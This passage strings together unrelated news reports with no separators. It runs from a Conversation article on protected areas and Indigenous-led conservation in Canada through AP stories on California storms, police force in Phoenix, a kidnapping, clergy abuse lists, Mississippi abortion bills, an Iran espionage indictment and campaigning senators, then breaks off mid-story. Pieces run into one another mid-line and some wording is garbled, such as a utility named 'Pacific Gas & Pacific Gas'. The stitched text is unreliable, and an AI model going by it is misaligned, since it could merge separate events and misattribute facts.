The high seas havent escaped the breadth and reach of human activity either. Today, industrial fisheries, pollution and marine traffic are threatening more than 87 per cent of the worlds oceans.

Studies like these have helped draw attention to the astonishing pace and scale of global habitat loss at a time when policy-makers are expected to increase the coverage of protected areas.

We are fast approaching the 2020 deadline for achieving the United Nations Strategic Plan for Biodiversity and its 20 Aichi Biodiversity Targets, including Target 11. That initiative obligates countries to protect 17 per cent of terrestrial areas and inland water, and 10 per cent of marine and coastal areas.

A mid-term analysis of progress on the Aichi Targets, published in 2014, showed that most countries would likely fail to meet their own goals. But there is a promising way forward where countries can protect biodiversity and recognize Indigenous peoples as conservation partners.

Humanized geographies

At the global scale, the number of terrestrial and marine protected areas have expanded since 2011. As of July 2018, there were 238,563 designated protected areas recorded in the World Database on Protected Areas. These areas collectively protect more than 20 million square kilometres of land (14.9 per cent of the Earths land surface) and six million square kilometres of oceans (7.3 per cent).

While the global community is on track to achieve its spatial goals by the 2020 deadline, there are concerns that the focus on quantity of protection instead of the quality of protection is undermining biodiversity conservation.

There is also the danger that in the rush to meet the 2020 deadline, many new protected areas will simply be paper parks that remain open to the consumption of biodiversity within them, such as industrial fishing, or suffer from inadequate resources and enforcement.

The remaining pieces of intact wilderness, such as the Canadian boreal forest, have received considerable attention as targets for conservation. But the conservation community and policy-makers have largely overlooked the need to protect small and isolated patches of wildlife habitat that persist in humanized landscapes (landscapes changed by people).

This includes remnant wetlands located in urbanized areas such as southern Ontario and on the Lower Mainland of British Columbia as well as industrialized zones, like the Peace Region of northeastern British Columbia, that have been severely impacted by logging, oil and gas extraction, mines, dams and other resource development.

Landscapes of regret

Fortunately, there is a way to recognize and support biodiversity conservation in these developed and managed landscapes.

Countries can meet their global targets for terrestrial and marine conservation outside of formally designated parks and protected areas with other effective area-based conservation measures, or OECMs. These include managed forests, urban greenbelts, military lands and waters and territories managed by Indigenous peoples.

These landscapes have too often been dismissed for conservation as landscapes of regret, owing to their degree of fragmentation and ecological degradation from human activities, including urbanization, agriculture and resource development.

We believe these areas hold out great hope as landscapes of opportunity for conservation. They contain important remnant of habitats for endangered wildlife and offer essential ecosystem services such as flood control, and can reconnect urban populations to nature.

A recent global synthesis of conservation studies shows that even small habitat patches are important for biodiversity and should no longer be neglected for conservation.

In addition, OECMs offer much-needed recognition and support for Indigenous-led conservation efforts, such as tribal parks. Studies show that tribal parks conserve biodiversity and are crucial to maintaining cultural and spiritual identity and connection to the land.

Indigenous guardians

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Canada is an emerging leader in exploring the use of OECMs, including tribal parks to meet its international conservation goals. For example, Parks Canada and the Indigenous Circle of Experts have been working together on Canada Target 1, with the goal of meeting the Aichi target 11. The process involves First Nations, Inuit and Metis, and commits to using both western science and Traditional Ecological Knowledge.

In the 2017 budget, for example, the federal government allocated $25 million over four years to the Indigenous Guardians pilot program. The program supports communities engaged in the stewardship of traditional territories, including ecological restoration activities in areas impacted by forestry, oil and gas development and other industrial land use.

The global biodiversity crisis necessitates conservation action that is both effective and equitable. Recent progress to expand the global coverage of traditional parks and protected areas is encouraging, but we must not lose sight of the critical need for new and innovative forms of conservation governance.

Faisal Moola is an associate professor in the department of geography, environment and geomatics at the University of Guelph.

Jessica Lukawiecki is a PhD student in the department of geography at the University of Guelph.

Robin J. Roth is an associate professor of geography at the University of Guelph.

This article is republished from The Conversation under a Creative Commons license. Disclosure information is available on the original site. Read the original article

Read more about:SAN FRANCISCO - The Latest on California storms (all times local):

5:30 p.m.

Mandatory evacuations have been ordered for neighbourhoods beneath fire-scarred hillsides in Southern California as another storm raises flooding fears.

Hundreds of residents in the Lake Elsinore area southeast of Los Angeles have been ordered to leave Wednesday as a very wet storm moves south through the state. Nearby Trabuco Canyon is under voluntary evacuation orders. That section of the Santa Ana Mountains was scorched last year and officials say the risk of debris flows is high.

Heavy rain already has fallen in Northern California, feeding on a plume of moisture that stretches across the Pacific.

Wind warnings and advisories are up across the state and a winter storm warning is in effect across the Sierra Nevada.

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3:00 p.m.

Officials in Northern California are urging people to avoid travelling on roads unless its absolutely necessary and have declared an emergency for Shasta County, where thousands are without power.

KRCR-TV reports the Shasta County Sheriffs Office says residents should prepare for several days of power outages, limited public services and extended emergency response times.

In the county seat of Redding, police are urging residents to avoid several streets because of downed power lines.

The storm has dumped at least 10 inches of snow in Redding, according to the National Weather Service.

Paul Moreno, a spokesman with Pacific Gas & Pacific Gas, says 42,000 of their customers remain without power, most of them in Shasta county.

Another 15,200 Redding Electric Utility customers remain without electricity.

Forecasters say the area will see rain and snow through the weekend.

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1:30 p.m.

Californias Mammoth Mountain says so much snow has fallen this winter that the slopes will be open to skiing and boarding through the Fourth of July, at least.

The resort in the Eastern Sierra reported Wednesday that the latest storm is adding to its summit season total  which is nearing 38 feet (11.5 metres). More than 5 more feet (1.5 metres) could fall before the current system moves through.

The storm packing wind gusts in excess of 130 mph (209 kph) over the top of the Sierra is barrelling down on Lake Tahoe.

A winter storm warning is in effect until 10 p.m. Thursday for the Tahoe area, where more than 2 feet (61 centimetres) of snow is possible in the highest elevations.

A backcountry avalanche warning also has been issued throughout the Sierra.

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12:00 p.m.

More than 60,000 customers are without power in several rural Northern California counties as heavy rain and snow hit the area, flooding roads and toppling trees.

Paul Moreno, a spokesman with Pacific Gas & Pacific Gas, says 45,000 of their customers are without power in Shasta, Tehama, Butte and Glenn Counties.

Another 16,000 customers of Redding Electric Utility are also without power in Redding. The utility says the storm has caused major damage to their system.

Moreno says crews are working to restore power, which is expected to be back online by later Wednesday.

Kirkwood Mountain Resort spokesman Kevin Coop Cooper says the Sierra have been receiving rain and snow since Tuesday. He says strong winds have subsided but they are forecast to return.

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8 a.m.

An atmospheric river aimed at California is bringing a new round of stormy weather to the state.

Rain is falling widely in Northern California early Wednesday and is expected to spread south, feeding on the deep plume of moisture that stretches across the Pacific to near Hawaii.

The National Weather Service says small creeks and streams have been rising rapidly through the morning, and there are reports of localized roadway flooding.

Much of the state is blanketed in wind warnings and advisories, and a winter storm warning is in effect across the Sierra Nevada.

In the Fresno County city of Sanger, police posted on social media photos of wind damage to the roof of school along with snapped trees.

Flights into San Francisco International may be delayed several hours.PHOENIX - The Latest on a case of alleged excessive force by police in Phoenix (all times local):

3: 45 p.m.

A prosecutor who declined to file charges against police officers in a case of alleged excessive force outside Phoenix now says further investigation is warranted.

Maricopa County Attorney Bill Montgomery changed course Wednesday after Gov. Doug Ducey said the probe into the officers conduct seems to have been whitewashed and should be reopened. Video of the encounter has recently been released and widely shared online.

Montgomery says he sent materials to the Phoenix office of the FBI.

Duceys comments about the investigation were a rare rebuke of police and prosecutors for a governor who counts law enforcement as strong allies. Montgomery is seeking an appointment from Ducey to the Arizona Supreme Court.

Montgomery says a review by an outside agency will help ensure the publics confidence in future decisions about the use of force by police.

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2:45 p.m.

Arizonas governor says an excessive force investigation into police in a Phoenix suburb seems to have been whitewashed and should be reopened.

The comments Wednesday were an extremely rare rebuke of police and prosecutors for Republican Gov. Doug Ducey.

He was reacting to newly released body-camera video showing Glendale police officers repeatedly using a stun gun on a handcuffed man.

Johnny Wheatcroft has sued, saying one officer kicked him in the groin while another stunned him in the testicles during the July 2017 encounter.

Prosecutors declined to file charges. One officer was suspended for three days.

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Ducey says prosecutors should get to the bottom of what happened and hold people accountable.

Representatives for Maricopa County Attorney Bill Montgomery and Glendale police didnt immediately comment.JEFFERSON CITY, Mo. - The Latest on two dead after kidnapping, police chase in Missouri, Illinois (all times local):

1:20 p.m.

Authorities say a 33-year-old woman is in critical condition after she and her 10-year-old daughter were abducted in Missouri and driven to Illinois before they managed to escape.

Police in Illinois said in a news release that 39-year-old Leslie Austin kidnapped the woman and their child Tuesday night in Jefferson City, Missouri. The woman was shot multiple times during the abduction. Law enforcement pursued Austin into Illinois, when the woman and girl were able to escape after the vehicle was slowed by tire-deflating stop sticks.

The release says the woman was taken to a hospital, but the girl wasnt hurt.

Austin fatally shot another man while attempting to carjack his vehicle. He died after exchanging gunfire with police. It wasnt immediately known if Austin shot himself or was shot by officers.

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9:40 a.m.

Authorities say two people are dead following a kidnapping, attempted carjacking and lengthy police chase that started in Missouri and ended in southern Illinois.

Police allege 39-year-old Leslie Austin kidnapped his girlfriend and their child Tuesday night in Jefferson City, Missouri. The woman was shot during the abduction but survived.

She was able to escape with her child after Austin drove into Illinois, where Austin then fatally shot a 67-year-old man during an attempted carjacking.

The St. Louis Post-Dispatch reports Austin died after exchanging gunfire with police who stopped his vehicle by using stop sticks along a roadway in Greenville, Illinois, about 175 miles (282 kilometres) from Jefferson City. It wasnt immediately known if Austin shot himself or was shot by officers.

Police say the woman was being treated at a hospital Wednesday. Her condition hasnt been released.

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Information from: St. Louis Post-Dispatch, http://www.stltoday.comRICHMOND, Va. - The Latest on Catholic dioceses in Virginia releasing lists of priests with credible allegations of sexual abuse of a minor against them (all times local):

5:10 p.m.

The Catholic Diocese of Arlington has released a list of 16 priests credibly accused of child sexual abuse.

In a letter released with the list Wednesday, Bishop Michael Burbidge apologized to victims and said he hopes publishing the list may help them find further healing and consolation.

Earlier Wednesday, the Catholic Diocese of Richmond published a list of 42 priests with a credible and substantiated allegation of sexual abuse against a child.

The two dioceses cover the state of Virginia.

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2:08 p.m.

Virginias Roman Catholic Diocese of Richmond has published a list of 42 priests with a credible and substantiated allegation of sexual abuse against a child.

The list published Wednesday covers allegations dating from the 1950s to 1993. It comes five months after Bishop Barry Knestout pledged to conduct an independent investigation to review church personnel files.

In a letter, Knestout apologized to victims and said he hopes publication of the list can help bring about healing.

The move comes as dioceses around the country have taken action since a grand jury report released in August alleged that more than 300 priests abused at least 1,000 children over seven decades in Pennsylvania.FRANKFORT, Ky. - Investigators in Kentucky say a woman taken from an Ohio college campus was fatally shot with a weapon carried by the man suspected of abducting her.

Kentucky State Police Commissioner Richard Sanders spoke Wednesday about the Monday afternoon shooting in Oldham County, Kentucky.

The shooting occurred after a police chase. Authorities say 24-year-old Tyrell Pounds stopped his vehicle and a trooper fired after hearing gunfire from the vehicle.

Sanders says it wasnt until Tuesday night that police determined 20-year-old Skylar Williams was shot by the weapon carried by the suspect. Williams was a student at Ohio States Mansfield campus.

Pounds was fatally shot by Trooper Joey Brown, a five-year veteran of the state police. Sanders said Brown is on administrative leave while the investigation continues.

Sanders said its not clear when Williams was shot.PHOENIX - Amberkatherine DeCory carried photos of her daughters birth certificate in her diaper bag in case she had to prove that the lighter-skinned girl was really hers. Cydnee Rafferty gives her husband a letter explaining that he has permission to travel with their 5-year-old biracial daughter.

Families like theirs were not surprised when they heard that Cindy McCain had reported a woman to police for possible human trafficking because the widow of Sen. John McCain saw her at the airport with a toddler of a different ethnicity. Officers investigated and found no evidence of wrongdoing.

Parents whose children have a different complexion say they regularly face suspicion and the assumption that they must be watching someone elses kids.

This is a problem that, to be frank, well-meaning white people get themselves into, said Rafferty, who is African-American and whose husband is white. They think, If it doesnt make sense to me it must not be right.

After McCains report, Rafferty posted to Twitter a selfie of her with her two children, ages 5 and 5 months.

I know they dont look like me, but I assure you, I grew them in my belly, Rafferty wrote to McCain.

Earlier this month, McCain claimed on Phoenix radio station KTAR that the woman was waiting for a man who bought the child to get off a plane and that her Jan. 30 report to police had stopped the trafficking. She urged people to speak up if they see anything odd.

I came in from a trip Id been on, McCain said. I spotted  it looked odd  it was a woman of a different ethnicity than the child, this little toddler she had. Something didnt click with me. I tell people trust your gut.

She said she spoke about her suspicions with police and they went over and questioned her. And, by God, she was trafficking that kid.

Phoenix Police Sgt. Armando Carbajal confirmed that McCain requested a welfare check on a child at the airport, but said officers found no evidence of criminal conduct or child endangerment.

McCain has declined interview requests and has not said if anything besides the difference in ethnicity led her to suspect trafficking. A spokesman for the McCain Institute for International Leadership at Arizona State University said McCain was only thinking about the possible ramifications of a criminal act, not the ethnicity of the possible trafficker.

After police debunked her claim, McCain reiterated the importance of speaking up when something looks wrong.

I apologize if anything else I have said on this matter distracts from if you see something, say something, she wrote on Twitter.

Rafferty, a 38-year-old New Yorker, was surprised that McCain, who adopted a daughter from Bangladesh, would make the same somethings-not-right assumption that mixed-race families grapple with constantly. Its not always summoning the police. Other, more common ways of calling out the differences sting too.

For Rafferty, the questions are frustrating and offensive: Whose baby is that? from a woman in the grocery store. Wheres her beautiful golden skin and curly hair? from a client at the office, who had a distinct idea of how a biracial child should look. Youre the ...? followed by a pause for her to fill in the blank with mom.

And if she pushes a stroller on Manhattans Upper West Side, everyone assumes shes the nanny. At the park, neither the mothers nor the caregivers know whether to embrace her in their camp.

DeCory, a 38-year-old police officer outside Minneapolis who has African-American and Native American ancestry, said the anxiety between mom and baby is a constant challenge for mixed-race families that isnt talked about enough.

She recalls being haunted by a terrifying vision she couldnt shake: Someone would question whether she was truly the mother of her daughter, and she wouldnt be able to prove it. Shed imagine her daughter, Mila, being placed between her and a white woman while someone in authority watched to see which way she crawled.

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Until her daughter could speak, DeCory carried her birth certificate and even a photo of her giving birth, just in case she had to prove that her light-haired, blue-eyed child was truly her own. As Mila has gotten older, her hair has darkened. Shes now 11.

DeCory didnt face the same anxieties with her other two children, who have darker skin closer to her own.

I would get anxiety going out with her in public, DeCory said. I was very reluctant to breastfeed her in public or do anything that would draw attention to me.DALLAS - Flights at two major airports in North Texas were temporarily halted Wednesday after air traffic controllers were forced to evacuate a building because of smoke, and the resulting flight delays were expected to continue for hours.

Lynn Lunsford, a spokesman for the Federal Aviation Administration, said smoke was reported in the Terminal Radar Approach Control Center at Dallas-Fort Worth International Airport. The smoke may have come from a nearby construction project, he said.

The controllers are back in position and the airspace is back to full capacity, Lunsford said by email. It will likely take some time to work through the delays.

The control centre is separate from the airport tower and directs air traffic across a much broader region. That means flights were also disrupted at Dallas Love Field about 15 miles (24 kilometres) away.

Two American Airlines flights and two Southwest Airlines flights en route to the Texas airports were diverted to Clinton National Airport in Little Rock, Arkansas, Clinton airport spokesman Shane Carter said.

Dallas Love Field was for years the primary airport for the city before D-FW began operations in 1973. Love Field is in the city while D-FW is just northwest of Dallas.

A spokeswoman for D-FW was not able to immediately say just how many flights were delayed Wednesday. A spokeswoman at Dallas Love Field did not return a message seeking the same information.

But the online flight tracker Flight Aware shows more than 300 flight delays at D-FW and 17 cancellations. Love Field had more than 70 cancellations and about 80 flights delayed.MEDFORD, Mass. - A Massachusetts university is condemning the posting of what some are calling anti-Semitic flyers outside a campus Jewish organization.

The Tufts Daily student newspaper reports that more than two dozen flyers depicting militarized pigs were found posted on the exterior of the Granoff Family Hillel Center at Tufts University on Tuesday.

One featuring cartoon images of pigs holding guns called for the destruction of the Israeli Apartheid Forces.

Many of the images date to the 1960s and the Black Panther Party, but Rabbi Naftali Brawer says some were posted on Hillel windows facing inward and we were clearly targeted as a Jewish centre. They were found nowhere else on campus.

Tufts President Anthony Monaco called the posters profoundly disturbing and hurtful and says the university is investigating.JACKSON, Miss. - Mississippi is working toward enacting one of the strictest abortion laws in the nation, in a race with other states to push a legal challenge to the more conservative U.S. Supreme Court.

The Republican-controlled Mississippi House and Senate passed separate bills Wednesday to ban most abortions once a fetal heartbeat is detected, about six weeks into pregnancy. Efforts to pass similar bills are underway in Florida, Kentucky, Ohio, South Carolina and Tennessee.

I see in this country that we protect sea turtle eggs and we protect other endangered species of animals with a greater degree of scrutiny and zealousness than we protect a child in the womb, Republican Sen. Angela Hill, a sponsor of the Mississippi bill, said as she fought back tears during a debate.

Anti-abortion legislators and activists believe President Donald Trump has strengthened their cause with his appointments of conservative Neil Gorsuch and Brett Kavanaugh to the Supreme Court. Abortion opponents foresee the possibility that the high court might either reverse Roe v. Wade, the 1973 ruling establishing a nationwide right to abortion, or uphold specific state laws that would undermine Roe.

Mississippi enacted a law last year to ban abortion after 15 weeks. The only abortion clinic in the state filed a lawsuit and a federal judge declared the law unconstitutional. The state has asked a federal appeals court to overturn the ruling.

The House and Senate must agree on a single version to send to Republican Gov. Phil Bryant, who is in his final year in office. He said he would sign it.

Ive often said I want Mississippi to be the safest place for an unborn child in America, Bryant said Wednesday on Twitter.

This is an election year in Mississippi, with all legislative seats and statewide offices on the ballot.

Other than election-year political pandering, why did you bring this bill to the House of Representatives? Because you know it is going to be overturned by the courts, Democratic Rep. Steve Holland of Plantersville asked the House Public Health Committee chairman, Republican Rep. Sam Mims of McComb.

Mims said that he and some other House members feel strongly that life begins at conception.

In a November 2011 statewide election, Mississippi voters rejected a proposed personhood state constitutional amendment that would have defined life as beginning at fertilization.

The bills advancing Wednesday say abortions could be allowed after a fetal heartbeat is found if a pregnancy endangers a womans life or one of her major bodily functions. Both chambers rejected efforts to allow exceptions for pregnancies caused by rape or incest.

Democratic Rep. Chris Bell of Jackson said an early ban hurts women: Can you imagine one of your loved ones being raped and having a child that looks like the rapist?

Democratic Sen. Deborah Dawkins of Pass Christian said many women may not know they are pregnant by six weeks. She also said a transvaginal probe might be needed to detect whether a woman has passed the cutoff point for abortion to be a legal option.

For a rape victim, a transvaginal ultrasound becomes another intrusion into their already violated body, and there are no provisions for the physician or health care provider to opt out of this invasive medical procedure, Dawkins said. Who thinks it is the role of the Mississippi Legislature to direct medical treatment methods for patients?

An Iowa judge struck down a similar law in that state last month.

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Associated Press writer David Crary in New York contributed to this report.CINCINNATI - A man who could face the death penalty if convicted pleaded not guilty Wednesday to charges he fatally shot an Ohio sheriffs deputy and tried to kill others during a standoff.

Wade Edward Winn, 23, was indicted this week on two counts of aggravated murder and 12 counts of attempted aggravated murder in Clermont County, just east of Cincinnati. Prosecutors have said Winn faked killing himself during a 12-hour standoff that began Feb. 2 at an apartment, then shot through a wall at deputies.

Clermont County deputy Bill Brewer died . Another officer was wounded in the leg

Asked for his plea during Wednesday afternoons arraignment, Winn replied: Not guilty, your honour. Common Pleas Judge Anthony Brock ordered Winn held without bond and scheduled a Feb. 28 pretrial conference.

Brock said he would impose a gag order to limit pretrial publicity. He asked both sides to submit proposed wording for the order.

Obviously, this is a very serious case, and this is a case that has great public interest, Brock said. Saying he wanted to disclose any facts that might raise questions about the courts impartiality, Brock cited a range of items including that he had contributed $20 to a fund to benefit the slain deputys family and that he formerly regularly played basketball with one of the deputies who was shot at.

Earlier, he appointed Greg Meyers of the state public defenders office to lead Winns defence after Clermont County public defenders cited possible conflicts of interest.

Winn spoke clearly as he answered the judges questions about his rights, the charges against him and the potential penalties. The judge read each count of Tuesdays indictment to him along with death penalty specifications.

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Follow Dan Sewell at http://www.twitter.com/dansewellTOPEKA, Kan. - A much-criticized national database that checks if voters are registered in multiple states wasnt used last year in Kansas, the state that administers it, the official overseeing the states elections told lawmakers.

Kansas Elections Director Bryan Caskey said his office under former Kansas Secretary of State Kris Kobach also chose not to make $20,000 in security upgrades to the Interstate Voter Registration Crosscheck Program. It didnt use the program during last years election cycle and likely wont again this year after a Homeland Security audit discovered vulnerabilities.

Twenty-eight states exchanged 98 million registration records when Crosscheck was last used in 2017.

Kobach, a longtime champion of strict voter registration laws, was vice chairman of President Donald Trumps now-disbanded commission on election fraud. Kansas voters elected Scott Schwab, also a Republican, to replace him after Kobach ran for governor and lost to Democrat Laura Kelly.

Caskey told the House Elections Committee that Schwab has ordered a review of Crosscheck to determine whether to entirely abandon the program, the Topeka Capital-Journal reports .

Crosscheck compares voter registration lists among participating states to look for duplicates. The program is aimed at cleaning voter records and preventing voter fraud, but it has drawn criticism for a high error rate and lax security.

Crosscheck compares registration lists and analyzes voters first and last names and date of birth to determine whether a person is registered in multiple states, but critics say most of the hits are false matches.

The program identified 141,250 possible duplicate voter registrations in Kansas in 2017, but it is unclear how many were purged because the system doesnt track that data, Caskey said.

I acknowledge that, yes, there are some false positives, he said.

The American Civil Liberties Union of Kansas alleged in a lawsuit filed last year that reckless maintenance of the program has exposed sensitive voter information. Kobach has called that lawsuit baseless, citing the U.S. Supreme Court last year in an Ohio case dealing with maintenance of voter rolls.

A federal judge earlier this month rejected the states argument that the lawsuit should be dismissed because voters have no right to privacy for the information in their registration record.

U.S. District Judge Daniel Crabtree ruled he was rejecting that argument because its basic premise is wrong.

Caskey told lawmakers that Kansas could use some of the $2 million in federal funds untouched by Kobach to instead access the Electronic Registration Information Center, or ERIC as it is better known. The initial cost to use ERIC would be $25,000. It uses encrypted voter information along with Social Security Administration death records, driver license information and U.S. Postal Service change-of-address data.

Twenty-six states now use the ERIC system, according to its website. ERIC, based in Washington, D.C., is a non-profit corporation governed by a board of directors made up of member states.

Voting rights activist Davis Hammet said it should be a no-brainer to switch from Crosscheck to ERIC, which was developed by the Pew Charitable Trust with data scientists.

If we are going to try to do this to clean our rolls, everyone seems to be in agreement that this is the way to do it, Hammet said.

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Information from: The Topeka (Kan.) Capital-Journal, http://www.cjonline.comSAN DIEGO - A gunman opened fire with an assault rifle at dinner time into a San Diego restaurant, but no one was hurt in what police said was an amazing outcome.

Police recovered at least 19 shell casings after the shooting Tuesday outside the restaurant in the citys Hillcrest neighbourhood.

Its quite a blessing when that much, that hail of gunfire that went out, there was nobody hit, police Lt. Andra Brown told the San Diego Union-Tribune .

Its amazing that nobody was hurt, she said.

Police detained a suspect about 20 minutes later and found the discarded gun nearby. A motive had not been determined.

The attack occurred in a busy area of bars and restaurants.

Police said they did not have the exact number of patrons inside the restaurant at the time of the shooting. Some people reported being hit by shattered glass.NEW YORK - Federal immigration authorities say a man accused of killing his ex-girlfriend and dumping her body in a suitcase in Connecticut is a citizen of Portugal and is in the U.S. illegally.

Officials with Immigration and Customs Enforcement said Wednesday that Javier Da Silva Rojas entered the United States in May 2017 through a visa waiver program and was supposed to leave the country later that year.

Da Silva is charged with kidnapping resulting in death in connection with the killing of 24-year-old Valerie Reyes. Her body was found in a suitcase in Greenwich on Feb. 5.

A lawyer for Da Silva declined to comment Wednesday.

A funeral for Reyes was held Wednesday in her hometown of New Rochelle, New York.WASHINGTON - A former U.S. Air Force counterintelligence specialist who defected to Iran despite warnings from the FBI has been charged with revealing classified information to the Tehran government, including the code name and secret mission of a Pentagon program, prosecutors said.

The Justice Department also accused Monica Elfriede Witt, 39, of betraying former colleagues in the U.S. intelligence community by feeding details about their personal and professional lives to Iran. Four hackers linked to the Iranian government, charged in the same indictment, used that information to target the intelligence workers online, prosecutors said Wednesday.

Witt had been on the FBIs radar at least a year before she defected after she attended an Iranian conference and appeared in anti-American videos. She was warned about her activities, but told agents that she would not provide sensitive information about her work if she returned to Iran, prosecutors say. She was not arrested at the time.

Once a holder of a top secret security clearance, Monica Witt actively sought opportunities to undermine the United States and support the government of Iran  a country which poses a serious threat to our national security, said FBI executive assistant director Jay Tabb, the bureaus top national security official.

Tabb said she provided information that could cause serious damage to national security, though he did not provide specifics.

Witt remains at large in Iran, as do the four hackers, who prosecutors say were acting on behalf of the countrys powerful, government-linked Revolutionary Guard. That group, a branch of Irans armed forces, has previously been designated by the U.S. government as a terrorism supporter.

A former U.S. Air Force counterintelligence specialist who defected to Iran has been charged with revealing classified information to representatives of Iran, federal prosecutors say. (The Associated Press)

The indictment was unsealed the same week as Iran celebrates the 40th anniversary of its Islamic Revolution and as the country denounced a Middle East security conference in Warsaw co-hosted by the U.S. and Poland. Officials said the indictments timing was unconnected to the meeting.

Witt served in the Air Force between 1997 and 2008, where she was trained in the Farsi language and was deployed overseas on classified counterintelligence missions, including to the Middle East. She later found work as a Defence Department contractor. The Texas native defected to Iran in 2013 after being invited to two all-expense-paid conferences in the country that the Justice Department says promoted anti-Western propaganda and condemned American moral standards.

The Treasury Department on Wednesday sanctioned the New Horizon Organization, which organized the conferences Witt attended and hosts events that American officials say promote Holocaust denial, conspiracy theories and also serve as a platform to recruit and collect intelligence from attendees.

Witt first travelled to a Hollywoodism conference in 2012, when she appeared in Iranian television videos in which she was identified as a former U.S. service member with critical views of America. She was then warned by FBI agents that she was a potential recruitment target for Iranian intelligence.

She chose not to heed our warning that travel to Iran could potentially make her susceptible to recruitment, Tabb said. She continued to travel.

Later that year, she was hired by an individual  who is not named in the indictment but who professed to have ties to high-level officials  to help in the filming of an anti-American propaganda commercial.

She returned to another conference in 2013 and remained in Iran. This time, with free housing and computer equipment, she went to work for the Iranians, supplying information about a classified Defence Department program and assembling into target packages research she conducted into the lives, locations and missions of former colleagues, the indictment said.

The accused hackers exploited that research, contacting Witts former colleagues through impostor Facebook and email accounts. Their goal was to induce the targets to click on links and attachments containing malicious software that, if opened, could compromise their computers and networks.

The case was unsealed soon after the Justice Department freed from custody an American-born Iranian television anchorwoman whod been detained for days by the FBI as a material witness in an unspecified criminal investigation in Washington, where the Witt indictment was filed. Marzieh Hashemi works for the Press TV networks English-language service. She has not been charged with any crimes. Justice Department officials wouldnt say if the investigations were connected.

The indictment includes snippets of dialogue between Witt and the person who hired her, identified only as Individual A.

In 2012, for instance, the person wrote her, should i thank the sec of defence...u were well trained. Witt replied with a smiley emoticon, LOL thank the sec of defence? For me? Well, I loved the work, and I am endeavouring to put the training I received to good use instead of evil. Thanks for giving me the opportunity, the indictment says.

Using a typed smiley-face, Witt wrote in a later message, If all else fails, I just may go public with a program and do like Snowden  a reference to Edward Snowden, a former NSA contractor who leaked classified U.S. information.

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Officials would not elaborate on why the indictment was brought six years after her detection, except to say they had to move classified intelligence into an unclassified format for use in a criminal case.

Our intelligence professionals swear an oath to protect our country, and we trust them to uphold their oath. With good reason, said Assistant Attorney General John Demers, the head of the Justice Departments national security division. But every great while, one of these trusted people fails us.

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Associated Press writer Jamie Stengle in Dallas and AP researcher Rhonda Shafner in New York contributed to this report.WASHINGTON - Fresh off jumping into the 2020 presidential race, Sen. Elizabeth Warren had plans to meet voters in Las Vegas. The only problem: a government shutdown roiling Washington.

The Massachusetts Democrat had to decide whether to keep her plans last month in a critical early voting state or stay in Washington in case her vote was needed in the Senate to end the impasse. She ultimately decided to remain in the capital and will make up for the cancellation by visiting Las Vegas on Sunday.

The episode illustrates the challenge facing the nearly half-dozen senators running for the White House. Dysfunction in Washington makes it difficult for them to make plans. Republicans in control of the Senate are poised to force politically sensitive votes. And candidates must maintain a relentless travel schedule to build support in the early voting states of Iowa, New Hampshire, South Carolina and Nevada without missing a beat on Capitol Hill, where a missed vote could come back to haunt them.

This schedule is going to be very different, Democratic presidential contender and New York Sen. Kirsten Gillibrand said in an interview. Ill be working every weekend, which is just different. And thats why this was a very important family decision that we had to spend time thinking long and hard about over the holidays.

Sen. Tim Kaine, a Virginia Democrat who was his partys 2016 vice-presidential nominee, said the intensity will only grow.

If youre going to run, youve got to be very single-minded about it. And so over the long haul, its really a hard balancing act, he said. I didnt run for a year or run for two years, but even the 105-day version of it was tough.

Senate Majority Leader Mitch McConnell, R-Ky., signalled this week that he will make the task harder for Democratic presidential hopefuls by holding a vote on a sweeping climate change proposal known as the Green New Deal in an effort to drive a wedge between the candidates and their liberal base.

Five top-tier Democratic presidential contenders who also serve in the Senate are backing the Green New Deal. A sixth high-profile backer, Vermont independent Sen. Bernie Sanders, is likely to enter the presidential race in the coming weeks. Its not clear whether they all will support the ambitious, still-symbolic plan when McConnell tees up a vote on it.

But before that measure comes up, theyll have to cast a challenging vote this week on a new government funding bill with more than $1 billion for constructing new barriers along the U.S.-Mexico border  less than President Donald Trump pushed for, but still more than many on the left support.

Texas Sen. John Cornyn, a longtime GOP leader, predicted in a recent interview that Democratic senators running for president would face a pretty bumpy time given that his party controls the chambers schedule.

This is the job they got elected to, so they need to do their day job that the taxpayers pay them for, Cornyn said, adding, I assume theyre going to miss votes.

So far, the Senate schedule has only rarely interrupted planned campaign trips for Democratic candidates, and Warren has yet to miss a Senate vote this year, according to publicly available tallies. Sanders and Sen. Kamala Harris of California have each missed one vote so far this year, while Minnesota Sen. Amy Klobuchar has missed two votes, Gillibrand has missed three and Sen. Cory Booker of New Jersey has missed four. Another Democratic candidate, Hawaii Rep. Tulsi Gabbard, has missed nine House votes so far this year.

Presidential candidates can take heat for their absentee records. During the 2016 Republican primary, which featured three sitting senators, Florida Sen. Marco Rubio faced particular scrutiny for missed votes and committee hearings during his presidential bid. Then-candidate Trump derided him for the worst voting record there is today, and a political action committee linked to another rival ran a TV ad slamming him for the truancy.

Then-Sen. Barack Obama faced criticism for missing votes during his 2008 presidential primary against fellow Democratic Sens. Hillary Clinton of New York, Joe Biden of Delaware and Chris Dodd of Connecticut. The financial crisis that engulfed the country that year also forced Obama and Sen. John McCain, then the Republican presidential nominee, to return to the Senate to cast dramatic votes on a bailout of the banking system.

The balancing act was especially acute for Dodd, who spent 2007 campaigning for president and chairing the Senate Banking Committee, responsible for oversight of the looming financial crisis. He dropped out of the campaign in early 2008.

That double act required a tremendous amount of time and juggling, Dodd said in a recent interview. When it came to his voting attendance, he recalled, I tried to be careful about it. You leave yourself very vulnerable with your constituents back home if youre not careful.

On several occasions during the 2008 campaign, Dodd added, he shared charter flights with his longtime friend Biden when more front-running candidates had their own aircraft.

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But if Biden joins the packed primary field for 2020, running from outside the Senate for the first time, he wont need to share.

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Associated Press writer Juana Summers contributed to this report.NEW YORK - Debbie and Gary Douglas sometimes need to remind each other, this is your business partner talking.

In business together for 16 years, the Douglases have found that being co-owners of a public relations firm requires them to be more direct with each other than they once were as spouses. Like the time Debbie Douglas was on a ladder in their Newport Beach, California, home and her husband told her to come down because she might break an ankle.

I said, dont worry about it. He said, this is your partner speaking, you have a trade show to do next week and you cant do it with a broken ankle! says Debbie Douglas, co-owner of Douglas Strategic Communications.

Romantic partners who are also business partners can find theres a lot of tough talk, listening, learning and compromising needed as they run a company, a personal relationship and often a family. Couples may have unique struggles depending on their personalities and the type of business they own. But there are common hotspots: Roles and responsibilities that arent well defined, vastly different styles of communication or decision-making and sometimes a clash of egos.

While the Douglases know how to take a hard line with one another, they also know when to budge.

You yield to the other person if they are more qualified to make a decision, Gary Douglas says. You cant have your own way every day, every time.

Ben Taylor and his wife Louise learned that lesson the hard way.

